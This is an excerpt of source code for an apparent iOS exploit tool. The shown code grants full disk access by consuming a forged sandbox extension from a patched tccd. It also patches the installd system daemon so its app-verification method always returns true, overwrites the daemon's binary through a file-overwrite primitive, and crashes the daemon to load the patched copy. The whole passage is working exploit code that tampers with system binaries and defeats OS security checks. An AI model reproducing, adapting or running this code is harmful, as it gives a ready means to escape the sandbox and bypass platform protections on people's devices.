366 | returnError = [NSError
367 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
368 | code:3
369 | userInfo:@{
370 | NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
371 | @"instead of an app sandbox token."
372 | }];
373 | extension_token = nil;
374 | }
375 | completion(extension_token, returnError);
376 | });
377 | }
378 |
379 | void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
380 | if (!NSClassFromString(@"NSPresentationIntent")) {
381 | // class introduced in iOS 15.0.
382 | // TODO(zhuowei): maybe check the actual OS version instead?
383 | completion([NSError
384 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
385 | code:6
386 | userInfo:@{
387 | NSLocalizedDescriptionKey :
388 | @"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
389 | @"reverted after reboot, so running this may permanently corrupt tccd."
390 | }]);
391 | return;
392 | }
393 | NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
394 | inDomains:NSUserDomainMask][0];
395 | NSURL* sourceURL =
396 | [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
397 | NSError* error = nil;
398 | NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
399 | encoding:NSUTF8StringEncoding
400 | error:&error];
401 | if (cachedToken) {
402 | int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
403 | if (handle > 0) {
404 | // cached version worked
405 | completion(nil);
406 | return;
407 | }
408 | }
409 | grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
410 | if (error) {
411 | completion(error);
412 | return;
413 | }
414 | int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
415 | if (handle <= 0) {
416 | completion([NSError
417 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
418 | code:4
419 | userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
420 | return;
421 | }
422 | [extension_token writeToURL:sourceURL
423 | atomically:true
424 | encoding:NSUTF8StringEncoding
425 | error:&error];
426 | completion(nil);
427 | });
428 | }
429 |
430 | /// MARK - installd patch
431 |
432 | struct installd_remove_app_limit_offsets {
433 | uint64_t offset_objc_method_list_t_MIInstallableBundle;
434 | uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
435 | uint64_t offset_data_const_end_padding;
436 | // MIUninstallRecord::supportsSecureCoding
437 | uint64_t offset_return_true;
438 | };
439 |
440 | struct installd_remove_app_limit_offsets gAppLimitOffsets = {
441 | .offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
442 | .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
443 | .offset_data_const_end_padding = 0x79c38,
444 | .offset_return_true = 0x19860,
445 | };
446 |
447 | static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
448 | size_t executable_length,
449 | const char* needle) {
450 | void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
451 | if (!str_offset) {
452 | return 0;
453 | }
454 | uint64_t str_file_offset = str_offset - executable_map;
455 | for (int i = 0; i < executable_length - 8; i += 8) {
456 | uint64_t val = *(uint64_t*)(executable_map + i);
457 | if ((val & 0xfffffffful) != str_file_offset) {
458 | continue;
459 | }
460 | // baseMethods
461 | if (*(uint64_t*)(executable_map + i + 8) != 0) {
462 | return i + 8;
463 | }
464 | }
465 | return 0;
466 | }
467 |
468 | static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
469 | // mov w0, #1
470 | // ret
471 | static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
472 | void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
473 | if (!offset) {
474 | return 0;
475 | }
476 | return offset - executable_map;
477 | }
478 |
479 | static bool patchfind_installd(void* executable_map, size_t executable_length,
480 | struct installd_remove_app_limit_offsets* offsets) {
481 | struct segment_command_64* data_const_segment = nil;
482 | struct symtab_command* symtab_command = nil;
483 | struct dysymtab_command* dysymtab_command = nil;
484 | if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
485 | &dysymtab_command)) {
486 | printf("no sections\n");
487 | return false;
488 | }
489 | if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
490 | printf("no padding\n");
491 | return false;
492 | }
493 | if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
494 | patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
495 | "MIInstallableBundle")) == 0) {
496 | printf("no MIInstallableBundle class_rw_t\n");
497 | return false;
498 | }
499 | offsets->offset_objc_method_list_t_MIInstallableBundle =
500 | (*(uint64_t*)(executable_map +
501 | offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
502 | 0xffffffull;
503 |
504 | if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
505 | 0) {
506 | printf("no return true\n");
507 | return false;
508 | }
509 | return true;
510 | }
511 |
512 | struct objc_method {
513 | int32_t name;
514 | int32_t types;
515 | int32_t imp;
516 | };
517 |
518 | struct objc_method_list {
519 | uint32_t entsizeAndFlags;
520 | uint32_t count;
521 | struct objc_method methods[];
522 | };
523 |
524 | static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
525 | uint64_t new_offset, uint64_t* out_copied_length,
526 | void (^callback)(const char* sel,
527 | uint64_t* inout_function_pointer)) {
528 | struct objc_method_list* original_list = mutableBytes + old_offset;
529 | struct objc_method_list* new_list = mutableBytes + new_offset;
530 | *out_copied_length =
531 | sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
532 | new_list->entsizeAndFlags = original_list->entsizeAndFlags;
533 | new_list->count = original_list->count;
534 | for (int method_index = 0; method_index < original_list->count; method_index++) {
535 | struct objc_method* method = &original_list->methods[method_index];
536 | // Relative pointers
537 | uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
538 | uint64_t types_file_offset =
539 | ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
540 | uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
541 | const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
542 | callback(sel, &imp_file_offset);
543 |
544 | struct objc_method* new_method = &new_list->methods[method_index];
545 | new_method->name = (int32_t)((int64_t)name_file_offset -
546 | (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
547 | new_method->types = (int32_t)((int64_t)types_file_offset -
548 | (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
549 | new_method->imp = (int32_t)((int64_t)imp_file_offset -
550 | (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
551 | }
552 | };
553 |
554 | static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
555 | struct installd_remove_app_limit_offsets offsets = {};
556 | if (!patchfind_installd(executableMap, executableLength, &offsets)) {
557 | return nil;
558 | }
559 |
560 | NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
561 | char* mutableBytes = data.mutableBytes;
562 | uint64_t current_empty_space = offsets.offset_data_const_end_padding;
563 | uint64_t copied_size = 0;
564 | uint64_t new_method_list_offset = current_empty_space;
565 | patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
566 | current_empty_space, &copied_size,
567 | ^(const char* sel, uint64_t* inout_address) {
568 | if (strcmp(sel, "performVerificationWithError:") != 0) {
569 | return;
570 | }
571 | *inout_address = offsets.offset_return_true;
572 | });
573 | current_empty_space += copied_size;
574 | ((struct
575 | dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
576 | offsets
577 | .offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
578 | ->target = new_method_list_offset;
579 | return data;
580 | }
581 |
582 | bool patch_installd() {
583 | const char* targetPath = "/usr/libexec/installd";
584 | int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
585 | off_t targetLength = lseek(fd, 0, SEEK_END);
586 | lseek(fd, 0, SEEK_SET);
587 | void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
588 |
589 | NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
590 | NSData* sourceData = make_patch_installd(targetMap, targetLength);
591 | if (!sourceData) {
592 | NSLog(@"can't patchfind");
593 | return false;
594 | }
595 |
596 | if (!overwrite_file(fd, sourceData)) {
597 | overwrite_file(fd, originalData);
598 | munmap(targetMap, targetLength);
599 | NSLog(@"can't overwrite");
600 | return false;
601 | }
602 | munmap(targetMap, targetLength);
603 | xpc_crasher("com.apple.mobile.installd");
604 | sleep(1);
605 |
606 | // TODO(zhuowei): for now we revert it once installd starts
607 | // so the change will only last until when this installd exits
608 | overwrite_file(fd, originalData);
609 | return true;
610 | }
611 |
--------------------------------------------------------------------------------